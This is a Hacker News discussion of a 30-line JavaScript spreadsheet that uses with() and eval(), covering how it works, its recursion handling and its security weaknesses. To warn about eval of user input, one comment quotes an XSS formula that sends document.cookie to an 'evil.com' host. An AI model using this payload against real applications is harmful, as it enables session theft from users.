10 ms·
I am impressed. Its a neat hack, it actually is a real spreadsheet in 30 lines of code, with references fully working (ie =A3+B4 gives expected output. As doe
by lifeisstillgood 13y ago
I am impressed. Its a neat hack, it actually is a real spreadsheet in 30 lines of code, with references fully working (ie =A3+B4 gives expected output. As does =alert("foo") but then nothing is perfect).
I think it says something about the browser as a platform - these thirty lines simply assume an enormous amount that excel and visicalc could not - visicalc had to write their own screen refresh routines.
It is useful sometimes to reflect on what has evolved so far - and wonder where we should be taking things. What is it now that is the equivalent of writing our own screen handling routines? Location? Distributed computation or storage?
- timje1 13y agoPersonally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed with (DATA) now that's just genius. I hate writing token parsing.
- agumonkey 13y agowith (context) + eval = user-space lexical environment ?
- richthegeek 13y agoYep, I'm using something very like this in a Node project I'm working on. However, with(context) has some pretty nasty side effects that I just couldn't sidestep, so I used the "contextify" module. If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!
- agumonkey 13y agoThanks for the tip, but I'm far from working with javascript right now[1], I was barely trying to understand the trick. I love the fact that this 'app' is a 6x6 variables grid layout javascript editor in disguise. [1] I just finished skimming through eloquent js and js allonge, and this still eluded me.
- jcheng 13y agoDo you mind elaborating on those nasty side effects? (I use with(context) for a small but important feature in the product I work on.)
- dnautics 13y agoif it's on node.js I imagine there's things to worry about like malicious injection
- curveship 13y agoNo, unfortunately. If a reference isn't found in your context object, it falls through to the ambient namespace. So say you run ... context = { foo: 1, bar: 2 }; with (context) { foo = 2; bar = 3; } That will probably do what you expect. But now say you run it where context is just ... context = { foo: 1 }; with (context) { foo = 2; bar = 3; } ... you might think this would add a 'bar' property to your context object, but in fact it creates a global variable bar. Whoops! In short, 'with' is pointy on both ends.
- agumonkey 13y agoOh yeah, `with` is dangerous.
- jcampbell1 13y agoI am a bit lost as to why cycles are handled the way they are. Part of the problem, is cycles seem to crash chrome's developer tools. If you put =A1 in A1, and =A2 in A2, it crashes the web inspector for me. I am lost as to why putting =A1 in A1 doesn't cause an infinite loop. Why doesn't eval (DATA.A1) not trigger the getter and hence an infinite loop?
- deleted 13y ago[deleted]
- ondras 13y agoThe getter impl should prevent this. Firefox, for instance, throws an exception...
- jcampbell1 13y agoI think I figured it out. It does cause an infinite loop, but Chrome throws a "Range Error: Max Call Stack Exceeded", which then gets trapped by the try/catch block. Firefox does a similar thing, by throwing a "too much recursion" error.
- btown 13y agoIt's possible that the call stack is being exceeded, but the Web Inspector is still trying to display each portion of the call stack - leading to an out-of-memory condition for the inspector?
- angersock 13y agoI'm a bit slow this morning...would anyone mind explaining how that and the defineProperties stuff makes a parse happen?
- deleted 13y ago[deleted]
- jessedhillon 13y agodefineProperty is being used to set a property On DATA, named corresponding to the cell's id (e.g., A3), to a descriptor. In this case the descriptor only provides a getter function, inside of which is an eval done with DATA as the context. That means all evaluated variable references will assume DATA as the implicit 'this' (whereas normally that would be 'window')
- deleted 13y ago[deleted]
- jcampbell1 13y ago50 getters are defined on DATA: a1..e5, and A1..E5 Consider the formula =A1+A2 inside the getter we have: with(DATA) eval('A1+A2'); Which is basically the same as: eval('DATA.A1+DATA.A2'); Inside the eval, the getter for A1, and A2 will be called. This will continue until non-formulas are reached and value is returned. The other possibility, is you get an infinite amount of recursion, which causes an error that is caught in the try/catch block. For instance, if you put =A1 in A1, the DATA.A1 getter gets called 1000's of times, eventually causing a stack overflow, which is caught by the try/catch block.
- jdc0589 13y agoI can safely say its one of the only 'appropriate' uses of a with-block I have ever seen.
- inDigiNeous 13y agoUsing both 'with' and 'eval' on the same line, nice ;) Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'. Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s http://youtu.be/hQVTIJBZook?t=13m30s Are these statements still true ?
- ondras 13y agoSomewhat. It is generally not recommended to take things dogmatically; even a potentially dangerous and frowned-upon techniques might be suitable in certain scenarios.
- ben336 13y agoYes. They're generally performance and reading nightmares. But this is a very clever usage.
- jcampbell1 13y agoYes, the statements are still true. This is an exceptionally clever hack, but it can't really be expanded upon, because as soon as you allow sharing of spreadsheets, it is a security nightmare. Consider: =document.cookie, or =document.write('<img src="http://evil.com/'+document.cookie http://evil.com/'+document.cookie +'">'); eval of user input is just not safe, and the with statement also presents problems, such as =INPUT
- aufreak3 13y agoDoing this all in a webworker might be one way to get security - by sandboxing the with/eval?
- jcampbell1 13y agoPossibly. Web workers are isolated from the DOM, but can still do stuff like import other scripts or do XHR requests, but those would be limited to the same origin. It seems like that would be somewhat XSS safe since you are just passing strings back and forth. I really like this idea. evalSafeAsync(code,context,callback) That being said, for a spreadsheet, you need to bite the bullet and parse the formulas. I don't see an easy way to support SUM(A1:A4) using this eval hack.
- thatthatis 13y agoA 30 line javascript spreadsheet is similar for me to when I first saw Norvig's 21 line python spelling corrector (http://norvig.com/spell-correct.html http://norvig.com/spell-correct.html): this language is more powerful and expressive than I thought. I'm increasingly believing that HTML/CSS/JS in a browser is a viable common runtime. This demo does quite a lot to solidify that belief.
- tracker1 13y agoI've felt that way for 16+ years.. of course, 2/3 of that time most developers never took the time to understand/learn JS the language, and then separate that from the horrible browser DOMs in the late 90's. NN's Layers vs IE document.all ... Starting with IE5/6 (and later Phoenix/Firebird/Firefox) it actually got a lot better. It's definitely nothing like IE4/NN4 days, and it looks like IE8 is finally falling off the radar, with IE9 to follow in the next couple years. It's only getting better. IE8 was really the last relatively bad browser imho. IE9 has some quirks, and IE10/11 are actually pretty nice (though IE11 is the most buggy browser MS has released since IE6, possibly more so). Yes, there are still browser compatibility issues.. but they are so few and far between for day to day use. Except for WebRTC and WebAudio, things are really solid.
- dspillett 13y ago> it looks like IE8 is finally falling off the radar Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended support). At least our other major clients (smaller financial institutions) have started to see sense. While they are stuck on IE8 due to some ancient internal code that won't work on anything more correct that are at least rolling out Chrome on their standard desktops as an alternate choice for everything that doesn't rely on old IE bugs.
- tracker1 13y ago
- munificent 13y ago> What is it now that is the equivalent of writing our own screen handling routines? Centering something using CSS. :(
- skeletonjelly 13y agoJust goes to show how much the far left and the far right has influence over our society
- chc 13y agoEh, it's pretty easy to get things not on the far side of the screen; it's just hard to get it precisely in the center.
- X4 13y agoshould be easy with flexbox (crossbrowser possible) simple demo: http://philipwalton.github.io/solved-by-flexbox/demos/vertical-centering/ http://philipwalton.github.io/solved-by-flexbox/demos/vertic...
- IgorPartola 13y agoCenter something vertically :). Or even better, create three divs, arranged horizontally, with a different amount of text such that all the divs are the same width and height. Note that you cannot specify a height for the parent since the text may be of arbitrary length. Makes me sad every time.
- garethadams 13y agohttp://jsfiddle.net/sJXE3/ http://jsfiddle.net/sJXE3/
- IgorPartola 13y agoSure, table layout is how you'd have to do this. To me this shows that half of HTML/CSS happened because of legacy issues and not with deliberate thought. The semantic web is mostly dead other than to help Google parse out their own ads while CSS remains a mess full of hacks like this.
- madmax96 13y agoWhile reading I also noticed the '=alert("foo")' hack, and thought I'd be able to point it out first, but you beat me to it! Ah well, that could be fixed pretty easily if it were harmful enough. I think it's time that we accept the browser as a platform development model. Now Apple has 'iWork for iCloud' and Google has had it's doc programs for a while. Very good hack, very powerful idea.
- dbpokorny 13y agoI replied with a blog post, which goes into detail regarding what I believe is the single, critical aspect that is currently holding up innovation in spreadsheet technology: the ability to run untrusted code without compromising security. http://dbpokorny.blogspot.com/2013/11/the-online-spreadsheet.html http://dbpokorny.blogspot.com/2013/11/the-online-spreadsheet...